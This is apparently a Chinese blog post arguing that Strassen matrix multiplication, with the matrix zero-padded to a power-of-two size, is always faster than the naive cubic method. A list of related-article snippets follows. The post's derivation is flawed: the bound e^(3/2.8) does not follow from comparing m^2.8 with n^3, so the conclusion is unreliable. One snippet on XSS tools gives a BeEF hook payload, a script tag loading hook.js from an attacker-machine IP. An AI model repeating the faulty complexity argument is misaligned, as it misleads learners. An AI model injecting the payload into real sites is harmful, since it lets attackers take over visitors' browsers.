关于strassen矩阵乘法的矩阵大小不是2^k的形式时,时间复杂度是否还是比朴素算法好的看法
原来是n,找到大于等于n且是2^k形式的数m。
n*n的矩阵补全为m*m的矩阵,原来的矩阵放在最左上方,其它位置的值为0.
朴素方法:n^3
现在:m^2.8
即m/n需小于e^(3/2.8)=2.919才能好,而n<=m<2*n,即使用该方法更好。
关于strassen矩阵乘法的矩阵大小不是2^k的形式时,时间复杂度是否还是比朴素算法好的看法的更多相关文章
- Codevs 1287 矩阵乘法&&Noi.cn 09:矩阵乘法(矩阵乘法练手题)
1287 矩阵乘法 时间限制: 1 s 空间限制: 128000 KB 题目等级 : 黄金 Gold 题解 查看运行结果 题目描述 Description 小明最近在为线性代数而头疼, ...
- 51nod 1137 矩阵乘法【矩阵】
1137 矩阵乘法 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 收藏 关注 给出2个N * N的矩阵M1和M2,输出2个矩阵相乘后的结果. Input 第1行 ...
- 蓝桥杯 BASIC_17 矩阵乘法 (矩阵快速幂)
问题描述 给定一个N阶矩阵A,输出A的M次幂(M是非负整数) 例如: A = 1 2 3 4 A的2次幂 7 10 15 22 输入格式 第一行是一个正整数N.M(1<=N<=30, 0& ...
- gemm() 与 gesvd() 到矩阵求逆(inverse)(根据 SVD 分解和矩阵乘法求矩阵的逆)
可逆方阵 A 的逆记为,A−1,需满足 AA−1=I. 在 BLAS 的各种实现中,一般都不会直接给出 matrix inverse 的直接实现,其实矩阵(方阵)的逆是可以通过 gemm()和gesv ...
- 蓝桥杯 BASIC 27 矩阵乘法(矩阵、二维数组)
[思路]:注意0次幂是单位矩阵. [AC代码]: #include <iostream> #include <algorithm> #include <iomanip&g ...
- 【BZOJ-1898】Swamp 沼泽鳄鱼 矩阵乘法
1898: [Zjoi2005]Swamp 沼泽鳄鱼 Time Limit: 5 Sec Memory Limit: 64 MBSubmit: 1012 Solved: 566[Submit][S ...
- HDU 5895 Mathematician QSC(矩阵乘法+循环节降幂+除法取模小技巧+快速幂)
传送门:HDU 5895 Mathematician QSC 这是一篇很好的题解,我想讲的他基本都讲了http://blog.csdn.net/queuelovestack/article/detai ...
- POJ3613 Cow Relays [矩阵乘法 floyd类似]
Cow Relays Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 7335 Accepted: 2878 Descri ...
- 如何使用矩阵乘法加速动态规划——以[SDOI2009]HH去散步为例
对这个题目的最初理解 开始看到这个题,觉得很水,直接写了一个最简单地动态规划,就是定义 f[i][j]为到了i节点路径长度为j的路径总数, 转移的话使用Floyd算法的思想去转移,借助这个题目也理解了 ...
随机推荐
- XSS工具
1.BEEF KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入 ...
- Algorithm - 贪心算法使用场景 ( LEETCODE —— Best Time to Buy and Sell Stock II)
先看一道leetcode题: Best Time to Buy and Sell Stock II Say you have an array for which the ith element is ...
- linux安装nginx并配置负载均衡
linux上安装nginx比较简单: 前提是需要有gcc或者g++ 1.yum需要的依赖 yum -y install openssl openssl-devel 2.解压pcre库.zlib库 ...
- Scrum立会报告+燃尽图(十二月十日总第四十一次):用户推广
此作业要求参见:https://edu.cnblogs.com/campus/nenu/2018fall/homework/2484 项目地址:https://git.coding.net/zhang ...
- 【CSAPP笔记】7. 汇编语言——过程调用
一个过程调用包括将数据(以参数和返回值的形式)与控制从代码的一部分传递到另一部分.除此之外,在进入时为过程的局部变量分配空间,在退出的时候释放这些空间.数据传递.局部变量的分配和释放通过操纵程序栈来实 ...
- mac下搭建MySql环境
准备工作做完后,开始: 创建数据库 step1: 在mac中->系统偏好设置->最下边点MySQL 在弹出页面中 关闭mysql服务(点击stop mysql server) step2: ...
- java9初探
最近研究了一下java9的新特性,也看完了<Modularity Programming in Java 9>,有一些收获写博客记录一下. 1.java9初探
- jsp与Ajax技术
Ajax 是Asynchronous Javascript and XML的缩写,异步的JavaScript和xml.Ajax是由JavaScript.XML.CSS.DOM等多种已有技术的结合,它可 ...
- 效能分析——词频统计的java实现方法的第一次改进
java效能分析可以使用JProfiler 词频统计处理的文件为WarAndPeace,大小3282KB约3.3MB,输出结果到文件 在程序本身内开始和结束分别加入时间戳,差值平均为480-490ms ...
- Sql Server自增ID与序号的使用
SQL 自增ID alter table a add id int identity(1,1) not null 这里为 a 表增加一个 id 字段,其中identity(1,1)代表自增,第一个1代 ...